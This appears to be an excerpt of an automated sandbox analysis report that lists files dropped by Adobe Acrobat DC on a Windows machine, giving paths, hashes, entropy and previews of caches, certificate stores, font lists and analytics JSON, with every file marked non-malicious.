Preview:	2025/01/10-08:04:08.109 1ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:04:08.110 1ea8 Recovering log #3.2025/01/10-08:04:08.111 1ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438683179083889
Encrypted:	false
SSDEEP:	384:yeaci5G1tVpKiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmz5:11tVpqurVgazUpUTTGt
MD5:	68C4BBAA19DA803C0A69BB73359DFD06
SHA1:	C8E84229D4B4CF474A5EE2F52C130657A4C3F2FA
SHA-256:	A80020A46B28B76C4C6241610EE1D78B2DAAFF8DE87EF94AECF0CF93B8144E64
SHA-512:	AECA80A6C3F7C125CA7D6FB409E05AD4E214D73B746AF0F46699FF13B26F893E592C145291EFCF20EC60A9C0289A551E72CAD3EC60D01A893DD7DE1987286F15
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7775805733478554
Encrypted:	false
SSDEEP:	48:7MBp/E2ioyV+7ioy3DoWoy1CABoy1/oKOioy1noy1AYoy1Wioy1hioybioyVkoyQ:7Opju+70iAb8XKQKW3b9IVXEBodRBkA
MD5:	AEA6609CBE7E1FC398FD2F10420B10E0
SHA1:	FE3A75F6DA2F6E507853584B78C98D9B7FA97CC5
SHA-256:	492392967DBB0ABB2A424709324ED2376985408ED5F011B629FF75370F9C50C5
SHA-512:	8EDDA7286B018FACB17D846A994D21D23C98A45231B191482A01ADA2D4485100F945F60D1C8A3FE4EB83E6CB2B21A2B2BF9546B00C899B0BC82A1414A555EB5F
Malicious:	false
Preview:	.... .c........@...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklxpZ4p/ltfllXlE/HT8kx+jNNX8RolJuRdxLlGB9lQRYwpDdt:kK1DeT84UNMa8RdWBwRd
MD5:	2D5CDBFE30D41ACF779E44F720605751
SHA1:	ABF7416630CEE8623BA0039FE99EE64B15B9BB45
SHA-256:	19725D7D80F051E5B99635BCF552B2DA75163DF0849ECB2D46A3348CE13E3125
SHA-512:	0A85BD194AED8186E7154848984B1A9827265F95523E2B4B84CC8DAF7803EFC6FAB42A9D1C4B02F709B5043E463650F6C0B2CDB546D908E9671BAB985C4E6542
Malicious:	false
Preview:	p...... ...........&`c..(....................................................... ..........W....TL..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKRRtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:p7iDImsLNkPlE99SNxAhUe/3
MD5:	9DB625D531063560406B4EDAFA1BB05E
SHA1:	15CF78E45E788FBC821E2C1AFC372F5B857ECC15
SHA-256:	6E2D39440B02F0762EA8F48F1AB154614B726AFD1278CB277939EA0F8174CFC3
SHA-512:	770457550474F9D10BAB247E31706578EBDCEA01E14B91F455D62C26A6678A87B3A829ACFEAFF2D6E700F2A276A929EEAD7724D2B3CB478B713BA15CE62F3BD1
Malicious:	false
Preview:	p...... ........xT79`c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7452

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7452

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371082002126539
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJM3g98kUwPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGMbLUkee9
MD5:	3D02892EC622038E3C4AEC0668CFB162
SHA1:	97F45840997023ED080C611D3BEE1201408BE5B7
SHA-256:	DA9A7CDF7D773409831E8C3CA127471019DED8183448145450BC914587FC760E
SHA-512:	E60D84092994827774AEE7F7D1D0D19A8247FC1FD18C30422FDD763AA5FC8DCA55590DC28218A9D636C36216452C37205D91E6409432B7346EF6918B16512791
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.308188451683354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfBoTfXpnrPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGWTfXcUke6
MD5:	4F96EE5BE1026CC6607EE0523DAC420C
SHA1:	6695F2141F845491DAE92E50D65CFDE30C37592C
SHA-256:	69047DC38FB7AABEB161D8A3C9EFE90B477ED003B04BC9B692F254A04686BFB1
SHA-512:	3A558789CABB94B0CBA0F121FB10E87FDA688CACB298565C08B0F5CCD8B56F95838634C4C892312563B568596AF627182CC62D4B486136A496515F5AB7FF772B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286894665910233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfBD2G6UpnrPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGR22cUkee9
MD5:	93245AB1385EB3F0769CBE7B456555DA
SHA1:	15B7D767922C525DE43AD598D4EC7619F295A98D
SHA-256:	BE4CED3F69B469D7EDAD9BE37892663C16839ECEDE3AEF6D15FBD5D9C267A616
SHA-512:	BBF000C4EBCA65126E093408BF8CFEE07E992140FFBAEFB7AC7CD1E8B7F551BC2CFE2896B41FE30EC2CE73E22FF0FEC3B38FE009DEFA13FA5183F342E3B0BEDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358231133906244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfPmwrPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGH56Ukee9
MD5:	3599B581372B1755446EDCF0B7B248C5
SHA1:	3EBBBAAD466BFE1BFB903B8562CF503B6F1FD549
SHA-256:	28D155CE1C90ABC719844150D2D86741EFAD5742CECE91629976A9AE308E875C
SHA-512:	5EE16913B746FD2553737159F9E922CB9D5B5DFC167AEC2EA97BBA2E5A71B7AD99393DA66A2FF1C96169442A6D487C9ACE9CE63276452E99703BE61854216754
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687293816689652
Encrypted:	false
SSDEEP:	24:Yv6XPVUAbmeOJspLgE9cQx8LennAvzBvkn0RCmK8czOCCSv:YvCVGegshgy6SAFv5Ah8cv/v
MD5:	8781AE67ABD300897A039669FF0EEB69
SHA1:	2141246795801790C4E3C05F0FCDBBA41E6B9DBE
SHA-256:	80F8C59E326A2DF0EA099EF7059298399F9CE1F6D5F045CE9AD2436A4EE51BA9
SHA-512:	A5D2669FDE875007142FF9B4A727C30EF9072BCDFBFC165DA7624ABAA2DC80E27083546EB329216CB563A208B85B305365347C6D75E13390C2660D91C6A99588
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293006834516999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJf8dPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGU8Ukee9
MD5:	14E0F86C61D74E68402CCDF485F8CAFE
SHA1:	ABDC1733BD5254C3AA3DFE6FA4B0808D42866439
SHA-256:	E858D17367F1485EB20DE66B167BD17677F5EAA4E6763EAAC735237B0B4887A3
SHA-512:	88AABAA72F0F4B75B5EAD0419105C51FB368C70B3588848B8C0BBE82D83490D5ED27BEC0239E3712BC006A763809AB9FA988D694BB82195E4F92AD038BC909E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297835543251301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfQ1rPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGY16Ukee9
MD5:	4DE622385D60BC6C822E5FF0966DE75A
SHA1:	08C353FBFF5B56324FF530D08F8130DFAEB89D55
SHA-256:	C03F03AD3100800CE434658E53E1017C3A68F80C8158FEC84D73BAB5007108F3
SHA-512:	1B715D6496ADB555921490D3607A14AE7DA30A10B01660B3E98489838B1CDDEA7EC95F14D28616BED6F0CC97AB47C75D94DBF90DAA566884CC9C862A339C25E3
Malicious:	false
